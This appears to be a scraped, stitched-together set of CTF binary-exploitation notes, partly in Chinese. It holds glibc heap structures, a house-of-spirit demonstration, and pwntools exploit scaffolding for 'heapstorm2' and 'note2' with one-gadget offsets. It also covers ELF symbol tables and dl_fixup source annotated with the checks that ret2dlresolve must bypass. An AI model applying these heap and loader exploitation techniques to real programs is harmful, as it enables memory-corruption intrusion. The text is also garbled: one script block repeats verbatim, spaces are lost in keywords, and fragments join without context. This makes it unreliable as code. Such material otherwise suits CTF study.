INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
structmalloc_chunk* fd;/* double links -- used only if free. */ structmalloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */ structmalloc_chunk* fd_nextsize;/* double links -- used only if free. */ structmalloc_chunk* bk_nextsize; };
from os import system from pwn import * context.log_level='debug' elf=ELF('./heapstorm2') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') ogg=[0x45226,0x4527a,0xf03a4,0xf1247] defadd(size): sh.recvuntil('Command: ') sh.sendline('1') sh.recvuntil('Size: ') sh.sendline(str(size))
int main() { fprintf(stderr, "This file demonstrates the house of spirit attack.\n");
fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n"); malloc(1);
fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n"); unsigned long long *a; // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); fake_chunks[1] = 0x40; // this is the size
fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8 fake_chunks[9] = 0x1234; // nextsize
fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.\n"); free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
v1 = __readgsdword(0x14u); printf("Enter any notice you'd like to submit with your order: "); fgets(dword_804A2A8, 128, stdin); sub_80485EC(dword_804A2A8); return __readgsdword(0x14u) ^ v1; }
from pwn import * sh=process('./note2') context.log_level='debug' elf=ELF('./note2') libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] head=0x602120 #gdb.attach(sh,'b *0x400F6C') definit(name,addr): sh.recvuntil('Input your name:') sh.sendline(name) sh.recvuntil('Input your address:') sh.sendline(str(addr)) defalloc(size,content): sh.sendline('1') sh.recvuntil('Input the length of the note content:(less than 128)') sh.sendline(str(size)) sh.recvuntil('Input the note content:') sh.sendline(content)
defshow(index): sh.sendline('2') sh.recvuntil('Input the id of the note:\n') sh.sendline(str(index))
defedit(index,choice,content): sh.sendline('3') sh.recvuntil('Input the id of the note:\n') sh.sendline(str(index)) sh.recvuntil('do you want to overwrite or append?[1.overwrite/2.append]') sh.sendline(str(choice)) sh.recvuntil('TheNewContents:') sh.sendline(content) sh.recvuntil('Edit note success!')
deffree(index): sh.sendline('4') sh.recvuntil('Input the id of the note:\n') sh.sendline(str(index))
from pwn import * sh=process('./note2') context.log_level='debug' elf=ELF('./note2') libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] head=0x602120 #gdb.attach(sh,'b *0x400F6C') definit(name,addr): sh.recvuntil('Input your name:') sh.sendline(name) sh.recvuntil('Input your address:') sh.sendline(str(addr)) defalloc(size,content): sh.sendline('1') sh.recvuntil('Input the length of the note content:(less than 128)') sh.sendline(str(size)) sh.recvuntil('Input the note content:') sh.sendline(content)
defshow(index): sh.sendline('2') sh.recvuntil('Input the id of the note:\n') sh.sendline(str(index))
defedit(index,choice,content): sh.sendline('3') sh.recvuntil('Input the id of the note:\n') sh.sendline(str(index)) sh.recvuntil('do you want to overwrite or append?[1.overwrite/2.append]') sh.sendline(str(choice)) sh.recvuntil('TheNewContents:') sh.sendline(content) sh.recvuntil('Edit note success!')
deffree(index): sh.sendline('4') sh.recvuntil('Input the id of the note:\n') sh.sendline(str(index))
typedefstruct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsignedchar st_info; /* Symbol type and binding */ unsignedchar st_other; /* Symbol visibility under glibc>=2.2 */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym; 里面有两个主要的变量,st_name记录着函数符号在符号表中的偏移,如果符号已经被导出,st_value记录着这个函数符号的虚拟地址。
Symbol table '.dynsym' contains 9 entries: Num: Value Size Type Bind Vis Ndx Name 0: 00000000 0 NOTYPE LOCAL DEFAULT UND 1: 00000000 0 FUNC GLOBAL DEFAULT UND setbuf@GLIBC_2.0 (2) 2: 00000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0 (2) 3: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__ 4: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2) 5: 00000000 0 FUNC GLOBAL DEFAULT UND write@GLIBC_2.0 (2) 6: 0804a040 4 OBJECT GLOBAL DEFAULT 25 stdout@GLIBC_2.0 (2) 7: 0804863c 4 OBJECT GLOBAL DEFAULT 15 _IO_stdin_used 8: 0804a020 4 OBJECT GLOBAL DEFAULT 25 stdin@GLIBC_2.0 (2) setbuf对应的下标是1,和上面的计算结果是一样的。
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); //判断重定位表的类型,必须要为7--ELF_MACHINE_JMP_SLOT /* Look up the target symbol. If the normal lookup rules are not used don't look in the global scope. */ //需要绕过 if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) { conststructr_found_version *version =NULL;
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) { constElfW(Half) *vernum = (constvoid *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; if (version->hash == 0) version = NULL; }
... value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0); // value为libc基址加上要解析函数的偏移地址,也即实际地址 } else { /* We already found the symbol. The module (and therefore its load address) is also known. */ value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value); result = l; }